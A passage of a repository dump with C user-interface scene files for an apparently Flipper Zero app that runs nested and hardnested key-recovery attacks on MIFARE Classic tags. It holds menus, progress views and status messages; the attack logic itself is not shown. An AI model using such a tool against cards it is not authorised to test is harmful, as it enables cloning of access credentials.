MifareNested* mifare_nested = context;\n\n    mifare_nested_worker_stop(mifare_nested->worker);\n    scene_manager_set_scene_state(\n        mifare_nested->scene_manager,\n        MifareNestedSceneCheck,\n        MifareNestedSceneCheckStateTagSearch);\n    // Clear view\n    popup_reset(mifare_nested->popup);\n\n    mifare_nested_blink_stop(mifare_nested);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_check_keys.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_check_keys_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nbool mifare_nested_check_keys_worker_callback(MifareNestedWorkerEvent event, void* context) {\n    MifareNested* mifare_nested = context;\n    CheckKeysState* plugin_state = mifare_nested->keys_state;\n\n    if(event == MifareNestedWorkerEventKeyChecked) {\n        mifare_nested_blink_nonce_collection_start(mifare_nested);\n\n        KeyInfo_t* key_info = mifare_nested->keys;\n\n        with_view_model(\n            plugin_state->view,\n            CheckKeysViewModel * model,\n            {\n                model->lost_tag = false;\n                model->keys_checked = key_info->checked_keys;\n                model->keys_found = key_info->found_keys;\n                model->keys_total = key_info->sector_keys;\n                model->keys_count = key_info->total_keys;\n            },\n            true);\n    } else if(event == MifareNestedWorkerEventNoTagDetected) {\n        mifare_nested_blink_start(mifare_nested);\n\n        with_view_model(\n            plugin_state->view, CheckKeysViewModel * model, { model->lost_tag = true; }, true);\n    } else if(event == MifareNestedWorkerEventProcessingKeys) {\n        with_view_model(\n            plugin_state->view,\n            CheckKeysViewModel * model,\n            { model->processing_keys = true; },\n            true);\n    }\n\n    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);\n\n    return true;\n}\n\nvoid mifare_nested_scene_check_keys_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    CheckKeysState* plugin_state = mifare_nested->keys_state;\n\n    mifare_nested_worker_start(\n        mifare_nested->worker,\n        MifareNestedWorkerStateValidating,\n        &mifare_nested->nfc_dev->dev_data,\n        mifare_nested_check_keys_worker_callback,\n        mifare_nested);\n\n    mifare_nested_blink_start(mifare_nested);\n\n    with_view_model(\n        plugin_state->view,\n        CheckKeysViewModel * model,\n        {\n            model->lost_tag = false;\n            model->processing_keys = false;\n            model->keys_count = 0;\n            model->keys_checked = 0;\n            model->keys_found = 0;\n        },\n        false);\n\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);\n}\n\nbool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n\n    bool consumed = false;\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventKeysFound) {\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNeedKeyRecovery) {\n            scene_manager_next_scene(\n                mifare_nested->scene_manager, MifareNestedSceneNeedKeyRecovery);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNeedCollection) {\n            scene_manager_next_scene(\n                mifare_nested->scene_manager, MifareNestedSceneNeedCollection);\n            consumed = true;\n        } else if(\n            event.event == MifareNestedWorkerEventKeyChecked ||\n            event.event == MifareNestedWorkerEventNoTagDetected ||\n            event.event == MifareNestedWorkerEventProcessingKeys) {\n            consumed = true;\n        }\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_check_keys_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n    mifare_nested_worker_stop(mifare_nested->worker);\n\n    // Clear view\n    mifare_nested_blink_stop(mifare_nested);\n    popup_reset(mifare_nested->popup);\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_collecting.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_collecting_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nbool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, void* context) {\n    MifareNested* mifare_nested = context;\n    NestedState* plugin_state = mifare_nested->nested_state;\n\n    if(event == MifareNestedWorkerEventNewNonce) {\n        mifare_nested_blink_nonce_collection_start(mifare_nested);\n\n        uint8_t collected = 0;\n        uint8_t skip = 0;\n        NonceList_t* nonces = mifare_nested->nonces;\n        for(uint8_t tries = 0; tries < nonces->tries; tries++) {\n            for(uint8_t sector = 0; sector < nonces->sector_count; sector++) {\n                for(uint8_t keyType = 0; keyType < 2; keyType++) {\n                    Nonces* info = nonces->nonces[sector][keyType][tries];\n                    if(info->from_start) {\n                        skip++;\n                    } else if(info->collected) {\n                        collected++;\n                    }\n                }\n            }\n        }\n\n        with_view_model(\n            plugin_state->view,\n            NestedAttackViewModel * model,\n            {\n                model->calibrating = false;\n                model->lost_tag = false;\n                model->nonces_collected = collected;\n                model->keys_count = (nonces->sector_count * nonces->tries * 2) - skip;\n            },\n            true);\n    } else if(event == MifareNestedWorkerEventNoTagDetected) {\n        mifare_nested_blink_start(mifare_nested);\n\n        with_view_model(\n            plugin_state->view, NestedAttackViewModel * model, { model->lost_tag = true; }, true);\n    } else if(event == MifareNestedWorkerEventCalibrating) {\n        mifare_nested_blink_calibration_start(mifare_nested);\n\n        with_view_model(\n            plugin_state->view,\n            NestedAttackViewModel * model,\n            {\n                model->calibrating = true;\n                model->lost_tag = false;\n                model->need_prediction = false;\n                model->hardnested = false;\n            },\n            true);\n    } else if(event == MifareNestedWorkerEventNeedPrediction) {\n        with_view_model(\n            plugin_state->view,\n            NestedAttackViewModel * model,\n            { model->need_prediction = true; },\n            true);\n    } else if(event == MifareNestedWorkerEventHardnestedStatesFound) {\n        NonceList_t* nonces = mifare_nested->nonces;\n        with_view_model(\n            plugin_state->view,\n            NestedAttackViewModel * model,\n            {\n                model->calibrating = false;\n                model->lost_tag = false;\n                model->hardnested = true;\n                model->hardnested_states = nonces->hardnested_states;\n            },\n            true);\n    }\n\n    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);\n\n    return true;\n}\n\nvoid mifare_nested_scene_collecting_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    NestedState* nested = mifare_nested->nested_state;\n\n    mifare_nested_worker_start(\n        mifare_nested->worker,\n        mifare_nested->collecting_type,\n        &mifare_nested->nfc_dev->dev_data,\n        mifare_nested_collecting_worker_callback,\n        mifare_nested);\n\n    mifare_nested_blink_start(mifare_nested);\n\n    with_view_model(\n        nested->view,\n        NestedAttackViewModel * model,\n        {\n            model->lost_tag = false;\n            model->nonces_collected = 0;\n        },\n        false);\n\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);\n}\n\nbool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n\n    bool consumed = false;\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNoncesCollected) {\n            scene_manager_next_scene(\n                mifare_nested->scene_manager, MifareNestedSceneNoncesCollected);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNoNoncesCollected) {\n            scene_manager_next_scene(\n                mifare_nested->scene_manager, MifareNestedSceneNoNoncesCollected);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventAttackFailed) {\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNeedKey) {\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys);\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) {\n            scene_manager_next_scene(\n                mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce);\n            consumed = true;\n        } else if(\n            event.event == MifareNestedWorkerEventNewNonce ||\n            event.event == MifareNestedWorkerEventNoTagDetected ||\n            event.event == MifareNestedWorkerEventCalibrating ||\n            event.event == MifareNestedWorkerEventNeedPrediction ||\n            event.event == MifareNestedWorkerEventHardnestedStatesFound) {\n            consumed = true;\n        }\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_collecting_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n    mifare_nested_worker_stop(mifare_nested->worker);\n\n    // Clear view\n    mifare_nested_blink_stop(mifare_nested);\n    popup_reset(mifare_nested->popup);\n    widget_reset(mifare_nested->widget);\n}"
  },
  {
    "path": "scenes/mifare_nested_scene_config.h",
    "content": "ADD_SCENE(mifare_nested, start, Start)\nADD_SCENE(mifare_nested, check, Check)\nADD_SCENE(mifare_nested, nonces_collected, NoncesCollected)\nADD_SCENE(mifare_nested, collecting, Collecting)\nADD_SCENE(mifare_nested, no_keys, NoKeys)\nADD_SCENE(mifare_nested, check_keys, CheckKeys)\nADD_SCENE(mifare_nested, added_keys, AddedKeys)\nADD_SCENE(mifare_nested, failed, Failed)\nADD_SCENE(mifare_nested, about, About)\nADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce)\nADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery)\nADD_SCENE(mifare_nested, need_collection, NeedCollection)\nADD_SCENE(mifare_nested, settings, Settings)\nADD_SCENE(mifare_nested, no_nonces_collected, NoNoncesCollected)"
  },
  {
    "path": "scenes/mifare_nested_scene_failed.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_failed_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_failed_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n\n    notification_message(mifare_nested->notifications, &sequence_error);\n\n    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);\n    widget_add_string_element(\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Failed to preform attack\");\n    widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"Try running\");\n    widget_add_string_element(\n        widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"\\\"Nested attack\\\"\");\n    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"again or check\");\n    widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, \"logs\");\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_failed_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_failed_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_failed_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_need_collection.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_need_collection_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_need_collection_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n\n    notification_message(mifare_nested->notifications, &sequence_error);\n\n    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);\n    widget_add_string_element(\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Missing collected nonces\");\n    widget_add_string_element(\n        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"Run \\\"Nested attack\\\"\");\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_need_collection_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_need_collection_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_need_collection_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_need_key_recovery.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_need_key_recovery_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_need_key_recovery_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n\n    notification_message(mifare_nested->notifications, &sequence_error);\n\n    widget_add_icon_element(widget, 74, 13, &I_DolphinCry);\n    widget_add_string_element(\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Missing found keys\");\n    widget_add_string_element(\n        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"First you need to\");\n    widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"recover keys\");\n    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"Read \\\"About\\\"\");\n    widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, \"for more info\");\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_need_key_recovery_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_need_key_recovery_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_need_key_recovery_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_no_keys.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_no_keys_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_no_keys_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n\n    notification_message(mifare_nested->notifications, &sequence_success);\n\n    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);\n    widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"No keys found\");\n    widget_add_string_element(\n        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"Scan tag and find at\");\n    widget_add_string_element(\n        widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"least one key to\");\n    widget_add_string_element(\n        widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"start (save dump\");\n    widget_add_string_element(\n        widget, 0, 42, AlignLeft, AlignTop, FontSecondary, \"after scanning!)\");\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_no_keys_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_no_keys_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_no_keys_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_no_nonces_collected.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_no_nonces_collected_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_no_nonces_collected_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n    SaveNoncesResult_t* save_state = mifare_nested->save_state;\n\n    notification_message(mifare_nested->notifications, &sequence_error);\n\n    widget_add_icon_element(widget, 73, 12, &I_DolphinCry);\n    widget_add_string_element(\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"No nonces collected\");\n\n    uint32_t index = 12;\n\n    if(save_state->skipped) {\n        char append_skipped[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\\0'};\n        if(save_state->skipped != 1) {\n            append_skipped[6] = 's';\n        }\n\n        char draw_str[32] = {};\n        snprintf(\n            draw_str, sizeof(draw_str), \"Skipped: %lu %s\", save_state->skipped, append_skipped);\n\n        widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);\n\n        widget_add_string_element(\n            widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, \"(already has keys)\");\n\n        index += 20;\n    }\n\n    if(save_state->invalid) {\n        char append_invalid[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\\0'};\n        if(save_state->invalid != 1) {\n            append_invalid[6] = 's';\n        }\n\n        char draw_str[32] = {};\n        snprintf(\n            draw_str, sizeof(draw_str), \"Invalid: %lu %s\", save_state->invalid, append_invalid);\n\n        widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);\n\n        widget_add_string_element(\n            widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, \"(can't auth)\");\n    }\n\n    free(save_state);\n\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_no_nonces_collected_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_no_nonces_collected_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_no_nonces_collected_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_nonces_collected.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_nonces_collected_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_nonces_collected_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    Widget* widget = mifare_nested->widget;\n\n    notification_message(mifare_nested->notifications, &sequence_success);\n\n    widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess);\n    widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Nonces collected\");\n    widget_add_string_element(\n        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"Now you can run\");\n    widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"script on your\");\n    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"PC to recover\");\n    widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, \"keys\");\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_nonces_collected_widget_callback,\n        mifare_nested);\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_nonces_collected_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_nonces_collected_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_settings.c",
    "content": "#include \"../mifare_nested_i.h\"\n#include <lib/toolbox/value_index.h>\n\nenum MifareNestedSettingsIndex { MifareNestedIndexBlock, MifareNestedIndexHardNested };\n\n#define HARD_NESTED_COUNT 2\nconst char* const hard_nested_text[HARD_NESTED_COUNT] = {\n    \"No\",\n    \"Yes\",\n};\n\nconst bool hard_nested_value[HARD_NESTED_COUNT] = {\n    false,\n    true,\n};\n\nstatic void mifare_nested_scene_settings_set_hard_nested(VariableItem* item) {\n    MifareNested* mifare_nested = variable_item_get_context(item);\n    uint8_t index = variable_item_get_current_value_index(item);\n\n    variable_item_set_current_value_text(item, hard_nested_text[index]);\n    mifare_nested->settings->only_hardnested = hard_nested_value[index];\n}\n\nvoid mifare_nested_scene_settings_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    VariableItem* item;\n    uint8_t value_index;\n\n    item = variable_item_list_add(\n        mifare_nested->variable_item_list,\n        \"Hard Nested only:\",\n        HARD_NESTED_COUNT,\n        mifare_nested_scene_settings_set_hard_nested,\n        mifare_nested);\n\n    value_index = value_index_bool(\n        mifare_nested->settings->only_hardnested, hard_nested_value, HARD_NESTED_COUNT);\n\n    variable_item_set_current_value_index(item, value_index);\n    variable_item_set_current_value_text(item, hard_nested_text[value_index]);\n\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList);\n}\n\nbool mifare_nested_scene_settings_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == MifareNestedCustomEventSceneSettingLock) {\n            scene_manager_previous_scene(mifare_nested->scene_manager);\n            consumed = true;\n        }\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_settings_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n    variable_item_list_set_selected_item(mifare_nested->variable_item_list, 0);\n    variable_item_list_reset(mifare_nested->variable_item_list);\n    scene_manager_set_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart, 0);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_start.c",
    "content": "#include \"../mifare_nested_i.h\"\nenum SubmenuIndex {\n    SubmenuIndexCollect,\n    SubmenuIndexCheck,\n    SubmenuIndexSettings,\n    SubmenuIndexAbout\n};\n\nvoid mifare_nested_scene_start_submenu_callback(void* context, uint32_t index) {\n    MifareNested* mifare_nested = context;\n    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, index);\n}\n\nvoid mifare_nested_scene_start_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n\n    Submenu* submenu = mifare_nested->submenu;\n    submenu_add_item(\n        submenu,\n        \"Nested attack\",\n        SubmenuIndexCollect,\n        mifare_nested_scene_start_submenu_callback,\n        mifare_nested);\n\n    submenu_add_item(\n        submenu,\n        \"Check found keys\",\n        SubmenuIndexCheck,\n        mifare_nested_scene_start_submenu_callback,\n        mifare_nested);\n\n    submenu_add_item(\n        submenu,\n        \"Settings\",\n        SubmenuIndexSettings,\n        mifare_nested_scene_start_submenu_callback,\n        mifare_nested);\n\n    submenu_add_item(\n        submenu,\n        \"About\",\n        SubmenuIndexAbout,\n        mifare_nested_scene_start_submenu_callback,\n        mifare_nested);\n\n    submenu_set_selected_item(\n        submenu,\n        scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart));\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewMenu);\n}\n\nbool mifare_nested_scene_start_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == SubmenuIndexCollect) {\n            mifare_nested->run = NestedRunAttack;\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck);\n            consumed = true;\n        } else if(event.event == SubmenuIndexCheck) {\n            mifare_nested->run = NestedRunCheckKeys;\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck);\n            consumed = true;\n        } else if(event.event == SubmenuIndexSettings) {\n            mifare_nested->keys->found_keys = 123;\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneSettings);\n            consumed = true;\n        } else if(event.event == SubmenuIndexAbout) {\n            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAbout);\n            consumed = true;\n        }\n\n        scene_manager_set_scene_state(\n            mifare_nested->scene_manager, MifareNestedSceneStart, event.event);\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_start_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n    submenu_reset(mifare_nested->submenu);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_static_encrypted_nonce.c",
    "content": "#include \"../mifare_nested_i.h\"\r\n\r\nvoid mifare_nested_scene_static_encrypted_nonce_widget_callback(\r\n    GuiButtonType result,\r\n    InputType type,\r\n    void* context) {\r\n    MifareNested* mifare_nested = context;\r\n    if(type == InputTypeShort) {\r\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\r\n    }\r\n}\r\n\r\nvoid mifare_nested_scene_static_encrypted_nonce_on_enter(void* context) {\r\n    MifareNested* mifare_nested = context;\r\n    Widget* widget = mifare_nested->widget;\r\n\r\n    notification_message(mifare_nested->notifications, &sequence_error);\r\n\r\n    widget_add_icon_element(widget, 73, 12, &I_DolphinCry);\r\n    widget_add_string_element(\r\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Static encrypted nonce\");\r\n    widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, \"This tag isn't\");\r\n    widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"vulnerable to\");\r\n    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"Nested attack\");\r\n\r\n    widget_add_button_element(\r\n        widget,\r\n        GuiButtonTypeLeft,\r\n        \"Back\",\r\n        mifare_nested_scene_static_encrypted_nonce_widget_callback,\r\n        mifare_nested);\r\n\r\n    // Setup and start worker\r\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\r\n}\r\n\r\nbool mifare_nested_scene_static_encrypted_nonce_on_event(void* context, SceneManagerEvent event) {\r\n    MifareNested* mifare_nested = context;\r\n    bool consumed = false;\r\n\r\n    if(event.type == SceneManagerEventTypeCustom) {\r\n        if(event.event == GuiButtonTypeCenter || event.event == 